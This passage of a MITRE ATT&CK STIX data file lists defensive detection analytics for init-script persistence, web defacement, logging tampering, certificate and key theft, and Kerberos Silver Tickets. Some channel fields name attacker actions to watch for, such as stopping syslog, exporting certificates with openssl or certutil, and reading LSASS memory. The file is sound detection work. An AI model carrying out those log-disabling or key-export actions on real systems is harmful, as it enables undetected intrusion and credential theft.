"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0658", + "description": "Detection of modified or newly created /etc/rc.local or /etc/init.d scripts followed by suspicious execution during system startup.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "linux:syslog", + "channel": "boot logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "script_path", + "description": "Specific path of init script (e.g., /etc/rc.local, /etc/init.d/*) may vary by distribution" + }, + { + "field": "user_context", + "description": "Root vs. non-root modification context depending on configuration" + }, + { + "field": "time_window", + "description": "Tuning window for script creation or modification relative to system boot" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e716b209-5b06-4bc4-843f-cbe4c51ddc0d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0237#AN0659", + "external_id": "AN0659" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0659", + "description": "Detection of edits or additions to /etc/rc.common, /Library/StartupItems, or /System/Library/StartupItems and associated script execution during login or reboot.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "fs:fsusage", + "channel": "file activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "script_name", + "description": "Name of script or LaunchDaemon plist is tunable across environments" + }, + { + "field": "event_interval", + "description": "Time window between modification and reboot/login" + }, + { + "field": "file_permission", + "description": "Permissions on modified RC files can vary between systems" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--69562961-14e6-42a7-9f8a-24ac00f6404e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0237#AN0660", + "external_id": "AN0660" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0660", + "description": "Detection of changes to /etc/rc.local.d/local.sh or rc.local during post-boot script execution with abnormal commands or additions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:syslog", + "channel": "boot logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:shell", + "channel": "admin command usage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "script_section", + "description": "Tunable script section edited by adversary (beginning, end, inline)" + }, + { + "field": "command_type", + "description": "Nature of embedded command or payload affects detection scope" + }, + { + "field": "execution_trigger", + "description": "Boot vs. manual script re-invocation" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b053dbd4-ad1e-45e1-a6b7-af2a5d931c82", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0237#AN0661", + "external_id": "AN0661" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0661", + "description": "Detection of modified boot-time configuration scripts that persist malicious CLI commands across reboots.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:syslog", + "channel": "startup-config" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "system boot logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "firmware_family", + "description": "Device type or OS determines specific init script location" + }, + { + "field": "config_line_pattern", + "description": "Regex or pattern matching approach to detect suspicious CLI" + }, + { + "field": "reboot_time_window", + "description": "Time window between config change and first boot post-modification" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d02dbf1d-b6e9-4c3c-84a2-f70fec797504", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0662", + "external_id": "AN0662" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0662", + "description": "Adversary modifies website or application-hosted content via unauthorized file changes or script injections, often by exploiting web servers or CMS access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Application", + "channel": "Unexpected web application errors or CMS logs showing modification to index.html, default.aspx, or other public-facing files" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "target_filenames", + "description": "Environment-specific naming of defacement-prone files like 'index.html', 'main.css', 'app.js'." + }, + { + "field": "TimeWindow", + "description": "Detection based on rapid sequence of file writes and script injections within short time intervals." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7b95ffd7-165d-4435-97b6-4508b9328d89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0663", + "external_id": "AN0663" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0663", + "description": "Adversary gains shell access or uploads a malicious script to deface hosted web content in Nginx, Apache, or other services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "apache:access_log", + "channel": "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:syslog", + "channel": "Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UploadPathRegex", + "description": "Regex for CMS-specific upload directories subject to defacement (e.g., wp-content/uploads)." + }, + { + "field": "FileExtensionScope", + "description": "Types of files to monitor for defacement (e.g., .html, .php, .jsp)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3258db60-8500-4935-837c-78b23f2d83d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0664", + "external_id": "AN0664" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0664", + "description": "Adversary modifies internal or external site content through manipulated application bundles, hosted content, or web server configs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "File creation or overwrite in common web-hosting folders" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDirectoryPath", + "description": "Web root folders will vary depending on how services are configured on macOS (e.g., /Library/WebServer/Documents)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0e7e1861-14be-4862-8cba-6344e6e196f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0665", + "external_id": "AN0665" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0665", + "description": "Adversary defaces internal VM-hosted portals or web UIs by modifying static content on datastore-mounted paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:vmkernel", + "channel": "Unauthorized file modifications within datastore volumes via shell access or vCLI" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreVolumeName", + "description": "Each environment\u2019s VMFS/volume mounts will vary in name and path." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bd893675-a17e-4c3b-bec4-ffbad6986c73", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0238#AN0666", + "external_id": "AN0666" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0666", + "description": "Adversary uses compromised instance credentials or web application access to deface content hosted in S3 buckets, Azure Blob Storage, or GCP Buckets.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "CloudTrail:PutObject", + "channel": "PutObject" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "GetObject" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BucketNameRegex", + "description": "Patterns of S3 or GCP buckets used for static website hosting may vary by organization." + }, + { + "field": "IAMRoleContext", + "description": "Some uploads may appear benign unless enriched with user/role metadata." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--945f8192-6f4f-4183-b457-40b5c6d9b4ca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0239#AN0667", + "external_id": "AN0667" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0667", + "description": "Correlates registry modifications to EventLog or WMI Autologger keys, suspicious use of Set-EtwTraceProvider, and Sysmon configuration changes. Defender sees interruption or redirection of ETW and log event collection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=16" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredETWProviders", + "description": "List of ETW providers to baseline and monitor for unexpected removal." + }, + { + "field": "AuthorizedConfigChanges", + "description": "Whitelist of expected admin actions modifying Sysmon or ETW configurations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--63e17792-17f5-48ae-8002-da6b62b4bcaa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0239#AN0668", + "external_id": "AN0668" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0668", + "description": "Detects disabling or reconfiguration of syslog or rsyslog services. Monitors sudden stops in logging daemons and suspicious execution of kill or service stop commands targeting syslog processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "linux:osquery", + "channel": "unexpected termination of syslog or rsyslog processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyslogServiceName", + "description": "Service name for syslog daemon, which can differ across distributions." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9274294a-dfc3-4084-b228-dfb36448f077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0239#AN0669", + "external_id": "AN0669" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0669", + "description": "Detection of tampering with Apple's Unified Logging framework or modification of system log forwarding settings. Defender observes execution of logd-related commands or defaults write to logging preferences.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "defaults write com.apple.system.logging or logd manipulation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedLogConfigs", + "description": "Baseline of approved logging preference modifications to reduce noise." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b3828af6-912b-493b-b621-3448a8f07972", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0239#AN0670", + "external_id": "AN0670" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0670", + "description": "Detection of syslog configuration tampering using esxcli system syslog config set or reload. Defender correlates command execution with absence of syslog forwarding activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "esxcli system syslog config set or reload" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyslogServerBaseline", + "description": "Expected syslog destination servers for ESXi hosts." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c448cbb5-1256-4a00-8582-1759fb5a6e56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0240#AN0671", + "external_id": "AN0671" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0671", + "description": "Monitor for abnormal certificate enrollment and usage activity in Active Directory Certificate Services (AD CS), registry access to certificate storage locations, and unusual process executions that attempt to export or access private keys.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Security", + "channel": "EventCode=4886, 4887, 4899, 4900, 4768, 4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EKU_Thresholds", + "description": "Organizations may tune which Extended Key Usage (EKU) values are considered risky." + }, + { + "field": "TimeWindow", + "description": "Defines how quickly multiple certificate enrollments from the same entity should trigger correlation alerts." + }, + { + "field": "LogonContext", + "description": "Differentiate between service accounts and interactive user accounts to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--27cbe2a7-25a0-4f6d-b2b0-dff50b2c0883", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0240#AN0672", + "external_id": "AN0672" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0672", + "description": "Monitor for file access to certificate directories, commands invoking OpenSSL or PKCS#12 utilities to export or modify certificates, and processes accessing sensitive key storage paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: openssl pkcs12, certutil, keytool" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathExclusions", + "description": "Exempt trusted automated services regularly accessing PKI stores." + }, + { + "field": "UserContext", + "description": "Differentiate root/system accounts versus user-level access to key material." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--62285936-d8a3-4b18-b3b4-a521fbef10ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0240#AN0673", + "external_id": "AN0673" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0673", + "description": "Monitor for security commands and API calls interacting with the Keychain, as well as file access attempts to stored certificates and private keys in ~/Library/Keychains or /Library/Keychains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "process calling security find-certificate, export, or import" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:keychain", + "channel": "~/Library/Keychains, /Library/Keychains" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApplicationAllowList", + "description": "Whitelist legitimate apps that interact with Keychain to reduce false positives." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--af8d3a12-dafb-4e40-8017-7d20d9e77d55", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0240#AN0674", + "external_id": "AN0674" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0674", + "description": "Monitor for abnormal certificate enrollment events in identity platforms, unexpected use of token-signing certificates, and unusual CA configuration modifications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "azure:SigninLogs", + "channel": "Add certificate credential, Update certificate credential" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "certificate added or modified in application credentials" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoContext", + "description": "Detect certificate-related changes occurring from unusual geographic locations." + }, + { + "field": "Thresholds", + "description": "Adjust enrollment/issuance request volume thresholds per tenant size." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--88ece783-08bc-41e6-a000-a63f540768cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0241#AN0675", + "external_id": "AN0675" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0675", + "description": "Detects forged Kerberos Silver Tickets by identifying anomalous Kerberos service ticket activity such as malformed fields in logon events, TGS requests without interaction with the KDC, and access attempts using service accounts outside expected hosts/resources. Also monitors suspicious processes accessing LSASS memory for credential dumping.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4634, 4672, 4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "WinEventLog:Kerberos", + "channel": "Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceAccountScope", + "description": "Expected mapping of service accounts to specific resources; deviations may indicate Silver Ticket use." + }, + { + "field": "TicketValidationBaseline", + "description": "Expected TGS issuance patterns including KDC validation; anomalies may signal forged tickets." + }, + { + "field": "ProcessAllowlist", + "description": "Known processes that legitimately interact with LSASS; others may indicate dumping attempts." + }, + { + "field": "TimeWindow", + "description": "Correlate 